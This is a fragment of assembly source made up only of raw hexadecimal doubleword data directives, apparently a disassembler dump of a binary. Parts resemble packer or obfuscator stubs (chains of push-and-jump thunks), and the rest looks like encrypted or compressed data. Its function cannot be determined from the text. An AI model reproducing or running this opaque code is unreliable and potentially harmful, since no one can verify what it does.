		dd 4C48324h, 24048B54h,	6804C483h, 0E65h, 8F241C89h, 48B0840h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 241C8B5Ch
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA9C62E9h, 128332FFh
		dd 0D7E63EACh, 57B8A227h, 30610E2h, 0F0E0FFC5h,	0C44FC760h
		dd 7E0343CDh, 0A655827Bh, 88548A55h, 4C3BFBE3h,	0B174EC9Dh
		dd 0CA44362Ch, 2B647766h, 9405BA7Ch, 0DE7D354Eh, 580406ABh
		dd 6262A64Bh, 0A46F5423h, 8D701DBBh, 10E3D08Dh,	0E9852906h
		dd 8B060B15h, 0B084DBDh, 4D8D8906h, 6A060B17h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0F641C357h, 0C9170E1Ah, 757AE781h, 85C773A1h, 60B0119h
		dd 59C4h, 985C7F5h, 60B10h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A1CC356h
		dd 1A49B5FFh, 0BA52060Bh, 1B113EDCh, 0C595FF58h, 6A060B0Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 669AC353h, 9D89C38Bh, 60B075Dh, 0FF006AF9h
		dd 0B32DD95h, 0EBC08B06h, 414EB70Dh, 1C35C661h,	0E3FF9922h
		dd 8EB3233h, 3EA44F4Ch,	2400000h, 0C32E9h, 0E5B26800h
		dd 3AE90610h, 68FFFB5Fh, 610E69Ch, 0FB5F30E9h, 0E81568FFh
		dd 26E90610h, 68FFFB5Fh, 610E8BEh, 0FB5F1CE9h, 0E95668FFh
		dd 12E90610h, 68FFFB5Fh, 610EB78h, 0FB5F08E9h, 0EC3268FFh
		dd 0FEE90610h, 68FFFB5Eh, 610EDACh, 0FB5EF4E9h,	0EEB168FFh
		dd 0EAE90610h, 0FFFFFB5Eh, 0B8BB0482h, 73F6413Dh, 323582FCh
		dd 0F46FD8B6h, 0A0AD1A74h, 6B639B8Fh, 0A620599Ch, 0E2DC1ED9h
		dd 229CD215h, 77E09C55h, 7BAE40AAh, 0B49DC0C9h,	7E5836h
		dd 9D5D4AD7h, 66916975h, 0F873F4AAh, 838C6C9Eh,	0D20C8AE0h
		dd 4FF8D611h, 0AC14CAE0h, 9D5CF6BBh, 0C9C52475h, 3513CF33h
		dd 0E0DE1CD7h, 9E69964Ah, 4F8A588Ah, 4C41E97Fh,	783E41AEh
		dd 48A1A29Ch, 0A40FC14Eh, 6F91E513h, 0D054A7BDh, 53F9D517h
		dd 0E64D60EFh, 0B9BC0E62h, 41h,	9F637B5Eh, 7436B6A1h, 0A03B4F8Ah
		dd 0EB7C2246h, 4A741341h, 0B91555EEh, 33842FDDh, 216F91F7h
		dd 7B53AAC9h, 94EA6D9Fh, 8EBC1A5Dh, 6254F652h, 0BC0305F4h
		dd 97FC55A4h, 8BC0E54h,	0E9h, 5836B42Dh, 229EE87Eh, 0D1A1B00Bh
		dd 99D16A26h, 36B40F3Dh, 538409DAh, 0BAA7759Eh,	76878983h
		dd 403C1C3Eh, 89DB11AAh, 522C1B3Fh, 8DB355Ch, 759DF683h
		dd 3CCA890h, 9DF374F0h,	52AAAD75h, 0DD6AD674h, 1DEAE41Ah
		dd 2AA4DAh, 0AA846E70h,	8B07E5B9h, 52E0C4Fh, 6F92C778h
		dd 0E894A39Fh, 5B83A710h, 0F3AEB997h, 0E84984F4h, 0D6303610h
		dd 6430C375h, 58B61621h, 0CB615D9Fh, 0ED0DE817h, 0ABC32691h
		dd 0B25836B4h, 250924Eh, 9E45A02h, 9CBA263h, 0E9060000h
		dd 0A4C722EDh, 639A5D2Ah, 1D599C6Bh, 0DB13D6A1h, 0F63B14E3h
		dd 3CCCA22h, 400F87E0h,	0FC4B43A5h, 3C8B0379h, 119E4937h
		dd 267BAE42h, 9651746Bh, 16D17E58h, 24E97AD6h, 33759D5Dh
		dd 5D159A4Dh, 0DE22759Dh, 3E398662h, 1B79C6C0h,	1926A0D8h
		dd 9F637BA2h, 7436B6A1h, 0C73B4F8Ah, 34398225h,	65536F92h
		dd 334FDC07h, 94646F92h, 0D326956Bh, 0BC0E1768h, 0B03Bh
		dd 36B4DC00h, 81E57E58h, 0C3BE705h, 2B3C1A40h, 759D5C66h
		dd 3492EA8Dh, 0B434AF58h, 3BBF30DAh, 77759D59h,	37329DF9h
		dd 5B2FDDB9h, 9641BF83h, 4F8A6DFAh, 222503FFh, 4093CDC9h
		dd 6F922DBBh, 68D760D8h, 78569C42h, 845E27EFh, 0E8C63A49h
		dd 0C8B70F6Fh, 0E073CD2Dh, 69847E1Bh, 7DEFE701h, 27837F9Dh
		dd 5AB1592Dh, 79D476E4h, 8E1h, 0CFBD328h, 47308EE9h, 86714DACh
		dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h
		dd 0ED03E651h, 53CD2691h, 0AE42FB80h, 6E91187Bh, 0ED5A34B4h
		dd 2D9AF40Ah, 0F4D2142Fh, 7582FC7Fh, 3F36B40Eh,	0F72BC1BDh
		dd 106EF11Bh, 0F97A58B6h, 37EB017Dh, 9D5D5F2Ch,	7B847475h
		dd 0FA40A68Ch, 45A8BE9Ch, 99F521Dh, 6B7E03D4h, 0A595759Dh
		dd 0A7AB3EC9h, 6E4F8A79h, 3E3591D5h, 0F62AC0BEh, 0A9C19749h
		dd 1E87B6DEh, 3AF48B94h, 5CB62934h, 7BF14AE0h, 3BB1B403h
		dd 9606A943h, 0ADC6BBF7h, 0E6C4408Bh, 4BB6B07Dh, 43C81BE8h
		dd 50E84BB7h, 61EE52E8h, 0A16E6886h, 3871ADA3h,	0DC84257Eh
		dd 0DAC71E2h, 77CBE84Ch, 0F7CF2DC8h, 0F4A9255h,	4AC2E84Ch
		dd 0AACC077Fh, 2A40232Ch, 0EA00E3ACh, 93BCB2ECh, 836E985Bh
		dd 812AE611h, 0E84BE835h, 0C958A301h, 6C6CDBB3h, 0A3591EBh
		dd 97B5116Fh, 3917DB03h, 38F1062Eh, 0C9271BC2h,	7993EB0Eh
		dd 0A3877681h, 0BB99F73Bh, 23413CB5h, 1621C170h, 2D58D343h
		dd 0D872CEBCh, 890561E2h, 0C590BF63h, 0DC355A75h, 9D8F0761h
		dd 0A209EDAh, 36F0DB99h, 0E9408B41h, 4F6AED82h,	47925h
		dd 0D7A43200h, 0D5759D5Ch, 759D6E84h, 9D49E142h, 4A86D775h
		dd 4B93759Dh, 7E5E89E7h, 734F8A3Dh, 0F1FBB58Fh,	7A10DE4Ch
		dd 7689Bh, 724CA100h, 8F076285h, 0C8C625C0h, 680E47Fh
		dd 403EBEB9h, 4D5996F7h, 3E6512Dh, 0C023ECEAh, 845F28A6h
		dd 4A9F6866h, 4474392Ah, 0E837BAEh, 5836B4D7h, 0F00BCCB2h
		dd 7B847496h, 6D4BAF37h, 8CBA59FAh, 2D9A664Fh, 0D40A01AAh
		dd 1B27306Eh, 0E2497991h, 46880661h, 0F62EBB1Dh, 0FEA2AD76h
		dd 0C7232402h, 16C140CFh, 981FBC84h, 85E3479Fh,	0CF2DE52h
		dd 0ADCC0794h, 0E17A26D1h, 3C1C0E88h, 8DEAA40h,	9713C422h
		dd 928E0159h, 0D4FA70AEh, 0FB0D9A6h, 292AAA55h,	0E90CFBD3h
		dd 79393B93h, 8E9FD5CEh, 6BF211Ch, 0F50A0000h, 0B0CB2E99h
		dd 6F8E69D6h, 294DA817h, 0E707E2ADh, 22F20EFh, 0FF8D616h
		dd 4C3B93D4h, 88774FA9h, 0C8B70F6Dh, 1DE27523h,	3A7BAE45h
		dd 637B0077h, 0E60482F8h, 0F7605E3Ah, 4F8A6AEBh, 4718320Eh
		dd 24BFAD29h, 9C27C5C1h, 0ABC8625Ch, 48BC6655h,	15C92396h
		dd 5C60F32Dh, 79497F58h, 9A233681h, 58698739h, 698737D3h
		dd 0C6AD016h, 76957ADBh, 5FB98143h, 798F6A89h, 0DE698974h
		dd 0A7F3B932h, 992F6375h, 0B56375A8h, 0DF855F37h, 3CEA6986h
		dd 6274F8Eh, 8DE20000h,	48A34631h, 766814Eh, 0C125C08Fh
		dd 7FFF7AC5h, 9A57B807h, 0A7106E8Eh, 0E4532B4Ch, 20EFE701h
		dd 602FA7C5h, 0B57AED8Bh, 0C27BAE45h, 637BA8CFh, 43A6A19Fh
		dd 0CF88F021h, 0F551B218h, 7C5CEB57h, 8DB24AEBh, 84AF8D4Fh
		dd 6F8D70F7h, 11C23C1Ch, 6F8D708Ch, 0F4A857ABh,	1F5DE604h
		dd 0ED2D8A7h, 5A52914Ah, 8F6BE3BCh, 2AA4DA9Dh, 6A649A5Dh
		dd 85017FC0h, 3D99DC67h, 0DA36B40Fh, 8D858409h,	0F3AF936Fh
		dd 6B638659h, 0EF9960C0h, 3849B088h, 1D7BC4C2h,	1A25A1DAh
		dd 12C52C97h, 8DEF68BCh, 0D2110631h, 26000001h,	0A19F637Bh
		dd 0C14E48A6h, 663010C3h, 0CD4D4F8Ah, 4741945Fh, 8DCB6F92h
		dd 0B755314Ah, 0D524BC4Bh, 0A19F637Bh, 2DF26543h, 4A6F9246h
		dd 87FF7DF6h, 0FF8AB565h, 497F4FD7h, 3F3816EAh,	0F028C2BCh
		dd 0DF1DD847h, 302DF265h, 0F64A6987h, 2FC24F98h, 69D16987h
		dd 0A6C49F8Dh, 0F675CE28h, 0AA806F98h, 0B290CE34h, 13690EBCh
		dd 0B946CA2Fh, 73A0DA2Eh, 0D973CF43h, 8E0860E3h, 0C093BC9Ch
		dd 637BA177h, 12C52311h, 637B9F8Dh, 0D3A956AAh,	42BBBCE8h
		dd 34F96A44h, 43637BA0h, 0F65D50FFh, 0A9C824A6h, 49h, 0F8637B4Eh
		dd 5EE40680h, 0E46C446Fh, 6BC7A3E2h, 86192F0Dh,	0A3E5506h
		dd 281DE275h, 0C63A759Eh, 0D20ADD6Ah, 0DF4F8B3Eh, 0D566C963h
		dd 836F92FEh, 7BFC6E68h, 4638905h, 74CBBD0Ch, 4FB40DFCh
		dd 0D0BC0D4Dh, 0CEh, 0E07351E5h, 759D5D1Bh, 5CAE73E4h
		dd 75C5759Dh, 0E0DE1CC7h, 0D3A964Ah, 90BA146Ah,	0EDBDAFCFh
		dd 0F872F209h, 99CB5083h, 10E8759Dh, 0A932D8B4h, 0ED17B53h
		dd 2B2996F0h, 54F6D028h, 4C885BE4h, 60759D96h, 0EFC38C0Ah
		dd 0D9A6B1F7h, 0FE759D94h, 2EA8C102h, 0BDC31472h, 44F8FC5h
		dd 0E4703D26h, 0BB876F8Fh, 0E68D08Ch, 6ED9B535h, 0F848D86Eh
		dd 6876F95h, 2A723F28h,	0B9816F90h, 3B93EB8Eh, 4F048D39h
		dd 0CD08A2DEh, 405h, 68D7AFCCh,	0A36C6A8Dh, 0E2AD2940h
		dd 1CEBE307h, 5A25A1D9h, 90E8BC75h, 4DAE4936h, 9638671h
		dd 0C927C28Dh, 8FE902CDh, 0AE47D7A4h, 4AADFC7Bh, 0CAC49B51h
		dd 838DFA97h, 1D79F174h, 5D39B7B2h, 36B48BF2h, 87E57E58h
		dd 8B4C000Fh, 293F1975h, 21DC5BCFh, 0CC3BC45Ch,	0DE13A4D5h
		dd 0C624759Ch, 9CDC901Dh, 7C5A9E75h, 2D562DEh, 759CDDB9h
		dd 5AB47E60h, 0DD26EB7Ch, 0CD4D759Ch, 0E3644242h, 0B6370C8Ah
		dd 41CE32D8h, 8C3A0DB6h, 0F775CE4Fh, 26CC709Fh,	2B8C10BFh
		dd 4CFE5A26h, 3B93D56Eh, 941E2911h, 0A58EE852h,	4978CE89h
		dd 20B68C8Ch, 37E45E80h, 34BB895h, 69860000h, 2447A26Dh
		dd 0E31ADDAAh, 9DD91CEBh, 5B935621h, 76BB9463h,	834C4AA2h
		dd 0C08F0760h, 7CCBC325h, 0BC0B83F9h, 911EC9B7h, 0A67BAE48h
		dd 9651F4EBh, 15D07F57h, 8A4DFFD7h, 0AFAD1A74h,	5D19E671h
		dd 0C23E759Dh, 81697D35h, 5868BCA7h, 0FD5D4F8Ah, 0DB7D4D83h
		dd 76C76262h, 3B3894F2h, 0F424C6C0h, 9D2E814Bh,	4B6F916Bh
		dd 2CB75531h, 895FCDC9h, 735CD58Fh, 263C127Dh, 966ED1D3h
		dd 0A265CE23h, 46C6BC0Eh, 0DF000000h, 0A19F637Bh, 0BF4846A6h
		dd 73D616C1h, 0E5DB4F8Ah, 9232AD72h, 40CD166Fh,	576F9233h
		dd 418351EBh, 0A3025AFAh, 0C369C5A1h, 0E7B4BF9Dh, 0C6F91F2h
		dd 0E770030Ch, 816F91F3h, 0C229804Bh, 65BC0E57h, 0E5h
		dd 5836B472h, 92D129B2h, 10C8625Ch, 61995AB4h, 0AD36DA65h
		dd 4C97F54Fh, 759D5CBFh, 32FF64D4h, 41759D5Dh, 95BCC693h
		dd 63DF1EA6h, 9CD26587h, 46825522h, 7A759E3Dh, 3A3D8A04h
		dd 8EECCAC4h, 9E3BD8A5h, 6B302375h, 88759E3Bh, 89B68AB0h
		dd 0A02BB3C7h, 0B0EE4A44h, 78569152h, 16E16ED2h, 4F8B4A1Eh
		dd 0EBE304DFh, 7E58A05Ch, 0FD0A84E5h, 0B5350E0Eh, 62842ED9h
		dd 2944C91Ah, 0EF536F93h, 0DA12D533h, 65924EFCh, 55ECFC67h
		dd 79C14985h, 0A8A4C41Fh, 8575F2BFh, 5D390169h,	9FF777F2h
		dd 59B93D45h, 0DD38D2E4h, 1D1h,	1CEBE318h, 57209ED9h, 96615D9Ch
		dd 0D0BF1753h, 0EF9D515h, 0C424F001h, 81FA7DCAh, 3DBFBA05h
		dd 0FD73F641h, 433D3681h, 0AE4A0B90h, 7E61287Bh, 0ED5A34B4h
		dd 2D9AF40Ah, 9F637B36h, 0B48D43A1h, 6ED2BBA0h,	1592631h
		dd 827E759Eh, 0E4E1926h, 34F8B18h, 0A0A62058h, 0D2EC4CCFh
		dd 33D9B502h, 15718A4Dh, 0A463283Bh, 88706F92h
		dd 0A563F47Fh, 0F70D6F92h, 0A746AD04h, 0F84EBC0Dh, 1118784h
		dd 9A8BB424h, 0B6h, 0FD6644A2h,	6F92C630h, 0A368FB47h
		dd 0B06F92C5h, 51D8BF48h, 345E279Bh, 5956B649h,	51698A65h
		dd 0D093BC18h, 0B50E3C9Ah, 0FE163335h, 229E3305h, 49E26846h
		dd 93C1920Bh, 228547F0h, 759DD2A6h, 9D6A649Ah, 80AA245Ah
		dd 2A04EEF0h, 8AE00939h, 19CA284Fh, 6F92BE94h, 0CB05FA3h
		dd 776F430Ch, 178255B3h, 0F44984EFh, 0D1292A04h, 8FEF0AF5h
		dd 20AF3D37h, 2EDCE45Ah, 0CCEFh, 0EEE80500h, 2BA3C621h
		dd 6462995Ch, 0A21C589Bh, 0FCDA12D5h, 21F53A13h, 0E702CDC9h
		dd 0A4BF0886h, 78FB4442h, 363B8402h, 4B109D46h,	6A277BAEh
		dd 5A34B473h, 9AF40AEDh, 36B4362Dh, 0BCCB258h, 3FCC17F1h
		dd 54759D5Dh, 64FF08E4h, 378FEF06h, 0FE492515h,	0EAB7A09Eh
		dd 9759D5Ch, 7978725Bh,	0BB17396Eh, 7AC0268Ch, 0C4253E1Ch
		dd 5AA3DCAh, 124F8D59h,	45BB3C2Eh, 90D46F49h, 0DF1A0936h
		dd 0AC0725A1h, 374058CBh, 58E9D016h, 18DBA422h,	0FD46E4E2h
		dd 0B9EF1D79h, 675F985Bh, 0A8B900D8h, 688B7452h, 2896B412h
		dd 18144322h, 2FC070F3h, 362026DAh, 4DE76939h, 90A79E33h
		dd 0ACC31DEh, 0E9000000h, 0B9323593h, 44F32FDDh, 5F37B45Dh
		dd 0FAD42AADh, 116D8F50h, 8F0760FBh, 24A2DA9Dh,	413DBD06h
		dd 0FAD410ABh, 16708F50h, 8E0863F4h, 3B68199Ch,	89000034h
		dd 62682434h, 8900003Dh, 89572404h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 241C895Ch, 8904EC83h, 4BBB241Ch, 890610E4h
		dd 0EC815BD8h, 4, 81242489h, 42404h, 685B0000h,	5863h
		dd 89243C89h, 87B89C7h,	241C8B5Fh, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 0FF5C243Ch, 81582434h, 4C4h, 531BE900h, 0AA17FFFBh
		dd 0AEFD322Eh, 0B8AF0472h, 610EFA2h, 0E0FFC503h, 46AD115Dh
		dd 1B263D0Dh, 2B71C282h, 68CE047Bh, 7F2B65AFh, 7B1DD432h
		dd 3DC7BF4h, 7EC077E2h,	43C168F7h, 7D109B7h, 3156B34Dh
		dd 39B6FDFDh, 41D57F6Fh, 413E4A6Ch, 314BDF22h, 649FD689h
		dd 5423E5D1h, 4A8DBEB2h, 34972B24h, 6772D7F2h, 0F17E8D8Dh
		dd 66500610h, 5F858DBAh, 174D8D89h, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5873A2C3h
		dd 0FA8EC9E1h, 0E9FBA440h, 0Ch,	0AB34E372h, 11A0B9Ch, 0CCAD510Ch
		dd 11985C7h, 6F90060Bh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F2FBE9C3h, 0B30BA3BEh
		dd 985C7C8h, 60B10h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0D275C356h,	0DEBA0C54h
		dd 7BA00166h, 0EE9h, 0CC7BE900h, 0F2442EE4h, 9AD5C681h
		dd 0FF5AA0DAh, 0B1AA9B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 5EB68DD6h
		dd 9E9h, 1613B300h, 0C002BE43h,	95FFE82Eh, 60B0AC5h, 0F08B6656h
		dd 69BD895Eh, 6A060B07h, 0DD95FF00h, 8B060B32h,	24FEBC0h
		dd 0D4BD645h, 72BFB30h,	3A8B8D25h, 0FEE7FD95h, 0CF2DC435h
		dd 7F248539h, 503BC5B7h, 0BE598A54h, 0E6E775D8h, 355A26FEh
		dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h,	0C4D0E24Fh
		dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 13E8662Fh
		dd 95000000h, 0D354F759h, 830B53EFh, 5271075h, 14336D91h
		dd 32BAA5B4h, 58400934h, 81D38B66h, 6B71C0h, 91952300h
		dd 0BB060B07h, 60C32C67h, 0EE51C381h, 0D7819F3Ch, 1A5A4D55h
		dd 0B50130FFh, 60B0635h, 5870F5Eh, 66000000h, 4F4CE781h
		dd 46BAC681h, 0BA661B10h, 0F6811319h, 5AB43611h, 8AEE81FCh
		dd 0B1E5046h, 0B28B195h, 83308906h, 0BD8B01E8h,	60B001Dh
		dd 0E9484848h, 0Dh, 74762138h, 2138B877h, 0B8777476h, 850F4B38h
		dd 0FFFFFFA8h, 7D2DBF66h, 7D0079EBh, 218CEF9Eh,	0AFD60FE2h
		dd 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h
		dd 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh
		dd 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h
		dd 0FD91A7h, 4ACC48D1h,	713C3359h, 0DB4D5200h, 0D65EF357h
		dd 0B79BB7h, 95ABAFF6h,	0F0009F89h, 0D7C77156h,	1800BEB3h
		dd 0C4D75671h, 2273E2ADh, 0E9554F4Dh, 1077h, 10F4ED68h
		dd 8C41E906h, 0C068FFFAh, 0E90610F5h, 0FFFA8C37h, 10F69068h
		dd 8C2DE906h, 0EB68FFFAh, 0E90610F7h, 0FFFA8C23h, 10F87068h
		dd 8C19E906h, 4268FFFAh, 0E90610F9h, 0FFFA8C0Fh, 10F9DD68h
		dd 8C05E906h, 0AB68FFFAh, 0E90610FAh, 0FFFA8BFBh, 10FB6A68h
		dd 8BF1E906h, 3068FFFAh, 0E90610FCh, 0FFFA8BE7h, 10FDB168h
		dd 8BDDE906h, 9D68FFFAh, 0E9061100h, 0FFFA8BD3h, 11019068h
		dd 8BC9E906h, 66B0FFFAh, 0C1BF46Fh, 0BAC9263Dh,	6BB35C87h
		dd 1A1E8F54h, 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h
		dd 9E457085h, 1377FF6Dh, 94C584EEh, 0D5DEBF25h,	5F231E6Dh
		dd 0A9B3077Bh, 67234D32h, 7EA4D520h, 6B7A856Fh,	0D2ED37D0h
		dd 18362A6Eh, 220EE035h, 97F99A52h, 4DDF0478h, 87DFABC3h
		dd 6A50C394h, 89A79AE3h, 0EDC6735h, 9F831BE6h, 62D62CBDh
		dd 618982C2h, 1885573Ah, 764A3E03h, 35CFDED8h, 2C35A114h
		dd 5C3Dh, 0D6FDB00h, 0EC39E476h, 5409680Ah, 0C6011F9h
		dd 0C0AA44B8h, 9F1A0DACh, 0B41862BDh, 9CE914A6h, 69F9DDA1h
		dd 3A60E81Dh, 0F67EA892h, 3A60E896h, 0E70F9943h, 3A60E8E3h
		dd 59AF1E64h, 0E7E6C06Eh, 792DFE5Dh, 0C259C37Fh, 0A4133A24h
		dd 0B2292C35h, 0A2EB03D1h, 5A1FC97Eh, 0D5h, 0F8D5DEA2h
		dd 0BB5FA514h, 99007A94h, 0F4E874h, 8D714C59h, 136BCBDCh
		dd 64582Ch, 0C6024BD3h,	27D6C394h, 3A1EE2DDh, 0D9F4010Ch
		dd 0AD98ED1Ah, 0A0BBC1D9h, 169E28BAh, 0C394C472h, 310C18F5h
		dd 0FB15094Dh, 9FDA6E6Bh, 8C20B2BDh, 3A61B2F8h,	7EDD0B4Fh
		dd 0D027D604h, 20AC47E1h, 2296ADF5h, 207C40EEh,	375DD11Bh
		dd 88446C23h, 247DA8B2h, 0B751B519h, 8DB0C835h,	0D370E05Fh
		dd 563A1762h, 0AD5AC572h, 0FED2EF34h, 22769750h, 0A376D413h
		dd 858D8C6Ah, 0DD5C2h, 0E8E73300h, 0BE8B9A0Bh, 3948A5h
		dd 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h, 5BB4AF92h
		dd 4E1724Dh, 0EC1DC6F3h, 0E99CE87Ch, 0A413C584h, 0FBDADE3Ch
		dd 0DA7A8F78h, 589BFFC6h, 0AD0D6FB8h, 0B22F195Dh, 6FFDD189h
		dd 0E9E430DDh, 0C606B73Fh, 1367BD9Fh, 0FCCDDCC9h, 1676FE52h
		dd 0C33A6184h, 0D3CD4D1h, 242C368Ah, 0ADh, 0F8D5DEC0h
		dd 605FA514h, 1B0D549Ch, 5BACC394h, 611FC6Eh, 0E50347CBh
		dd 0A590E502h, 0B8C3D9D1h, 0FF3F3AB2h, 0CA304260h, 6A1E9620h
		dd 903A60CCh, 60CC681Ch, 3C9BFF3Ah, 0EF4F28C6h,	8CBD2D8Dh
		dd 0EFABD5CFh, 639C6C6Dh, 0DD315FAAh, 68EEE70Fh, 1B7F446Dh
		dd 0E1DC24D1h, 0B08F9572h, 6ACDC5B7h, 0B708FA8Ch, 0D02h
		dd 263D141Eh, 5083BEC9h, 8E5564B7h, 393A1961h, 6A89B4CCh
		dd 136984EBh, 0C1D6372Ch, 7E8667FCh, 26739C47h,	29C3C82Bh
		dd 84E8C185h, 1F746C5h,	78FBDADEh, 4F201ECh, 0EB1C63B8h
		dd 20CE2234h, 76EDD82Dh, 0F8D5DE8Eh, 6550A514h,	0CF0211FEh
		dd 4281927Bh, 941D5E2Ah
		dd 3E9D1C3h, 941D9FEBh,	362A10C3h, 93AEF924h, 0BA3DEB2Fh
		dd 0F983BDD5h, 5174F862h, 0D6BD9F05h, 0A7B8BECh, 3C34EAD6h
		dd 9D11DB60h, 0BFF450D8h, 49A1156Dh, 5D68BD33h,	0BFCB63E9h
		dd 303FCB62h, 0E004D6CAh, 3FCB62E4h, 2933176Bh,	2A9EABFCh
		dd 3EB638D6h, 41C6AD56h, 9A0BD129h, 1CAEBC89h, 0C51CFC88h
		dd 0E10F7335h, 0A19CE906h, 10200A6h, 0B017F38Ah, 0C32h
		dd 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h, 1AD9E43Ch
		dd 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h, 0D913F87Bh
		dd 84EB3155h, 51C7B6C5h, 14F8D5DEh, 0E1058814h,	0C3941DE5h
		dd 50241564h, 5BBF837Ch, 9BEF0791h, 6CC3941Dh, 0FE76F816h
		dd 0BD9F1EABh, 56DEA51h, 8550957h, 0DA1961DEh, 0F17B009Ch
		dd 6B03687Dh, 5785FD44h, 0B1080BE8h, 0BA548835h, 9BEE9E56h
		dd 0B13B307Dh, 9BFB8F27h, 764C307Dh, 35CFDED8h,	262A7714h
		dd 92ADFB2Ah, 1FE3DE2Bh, 44740D3Bh, 90000000h, 90E30D6Fh
		dd 59745B9h, 92BC8D98h,	9EE155C2h, 7EECD6BDh, 9C4E798Fh
		dd 640C303Fh, 43EDEF96h, 684C3EA0h, 43B23A60h, 63EA043Bh
		dd 6F66AE16h, 0E93FE80Bh, 97E10CDEh, 56F0D4B8h,	0B541DF2h
		dd 6FA70000h, 5AE4760Dh, 1D20A4C8h, 51A9C394h, 83AD9562h
		dd 844A48F3h, 0AAC24CBDh, 3A7B10DEh, 40BF6951h,	0F005F07Ah
		dd 82764B50h, 105034B8h, 0E3D73A7Bh, 5F48AB8Fh,	6165894Ah
		dd 0E63A7B10h, 0D4D4B89Ch, 5A9B3C8h, 446B47EBh,	1B6F8711h
		dd 0EC304A07h, 7C9B7896h, 6D7DB05h, 0CB117597h,	67FCC9DAh
		dd 0FC407D86h, 915BE0BCh, 41A1001Dh, 62EDD54Eh,	927E4D46h
		dd 0D7F255BDh, 3500000Ah, 9C09EAE1h, 4ABBB889h,	34D1023Fh
		dd 0E30CD7EEh, 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah
		dd 0C0FD06E7h, 0EA02EE13h, 0C584EA9Eh, 0A73AA211h, 0C3941D27h
		dd 6CFE8517h, 844A3EF8h, 0C8DCB1BDh, 0D13509FDh, 29899A0Bh
		dd 162B76DEh, 160A6EA2h, 0BD3143CDh, 3A7B13C9h,	43CA645Eh
		dd 24D11B36h, 0C246E0D1h, 0A349D2AAh, 70105E0Bh, 505D8244h
		dd 0DE2F444Eh, 47BB98B6h, 6E7BCA88h, 4639098Ch,	0A52h
		dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h,	3A39041Ch
		dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h,	0F973985Bh
		dd 84E51175h, 0B12796C5h, 1B6DD5DEh, 0A6F1582Ch, 1A5B7ABh
		dd 0C3941D45h, 289CF0CAh, 0B5193441h, 72F6F78Dh, 0F4457483h
		dd 0E82C90A1h, 0D2DDC3Eh, 28043240h, 0E0000004h, 764B50BDh
		dd 1CA04E82h, 8471FB80h, 0CDB59D73h, 0D01781E7h, 1A3408FCh
		dd 102EDC50h, 0CCA1BD84h, 0C5398DB8h, 798A7BE1h, 2D76974Ch
		dd 0C484AC10h, 263A7B75h, 99634BB9h, 0B452621Bh, 5D8F94E8h
		dd 9E526CD3h, 7B4E62h, 1C70C4F5h, 23460E38h, 0C94470F0h
		dd 0FA08292h, 7071E3E7h, 0E11E6430h, 79974150h,	1DA7A09Ah
		dd 0E28C6DD9h, 980AF60h, 8A9C0000h, 3047A0B3h, 0E635D201h
		dd 879F08EBh, 364ABBB8h, 66DD40Fh, 0B1A29DE7h, 0E1724F54h
		dd 1EC5F004h, 4AA9A4F1h, 4703AB41h, 0C8C584E4h,	0D5DE8379h
		dd 50A514F8h, 2B619165h, 0CC7669Ah, 70E23240h, 0A000003h
		dd 941D27A7h, 88517C3h,	941DE0E4h, 3F1367C3h, 403CA32Dh
		dd 76889438h, 85C165F7h, 0AC394F3h, 0C64E1630h,	79BD84A4h
		dd 0D92ADB01h, 7A8F7EECh, 276B04Fh, 0D568B64Eh,	3A4FB83Bh
		dd 1963BB0Fh, 1154D802h, 5644701Eh, 0EEBE36Ch, 2A188C6Eh
		dd 8E555h, 0D8F70300h, 0AE9BEA1Bh, 704958B5h, 0C5FC02E3h
		dd 94ABF11Eh, 0AE1084Fh, 0FB14CFF6h, 0AB449FA2h, 14F1625Dh
		dd 0DC2D3603h, 0E4EC980Ch, 9463C584h, 0F8D5DE2Ch, 6550A514h
		dd 0E3D22891h, 0FF67AE1Fh, 0D62A9EA9h, 56500EF2h, 811B3B57h
		dd 0D5D8C04h, 0C4743240h, 90000002h, 941D27A7h,	88517C3h
		dd 941DE0E4h, 3F1367C3h, 7F0BA32Dh, 0F0C3941Dh,	925C8Ah
		dd 0C74B8695h, 30916583h, 50BD844Ah, 0EB3B99C6h, 12C0FB69h
		dd 7B4CB6D2h, 27C1393Ah, 0EEC0928h, 0A04831D8h,	1A6F9E4Ch
		dd 0F45865BAh, 46A7BC90h, 0AEBC003Dh, 0EC1A257Fh, 0DD22CCD0h
		dd 1F381CE0h, 0E0B1391Bh, 3923071Ah, 700054B5h,	66E1D944h
		dd 8C6DF04Ah, 17CE8181h, 75000008h, 0DCC92A21h,	8A7BF8C9h
		dd 7491427Fh, 23CC172Eh, 0C67DE6D9h, 19247C9Fh,	0E9D42DDAh
		dd 0BC8B9D0Ah, 3D46A7h,	0AAC22ED3h, 0C584E7DEh,	0DE7AE251h
		dd 0A514F8D5h, 48F76550h, 0F819AEB3h, 79D17F40h, 0E308859Fh
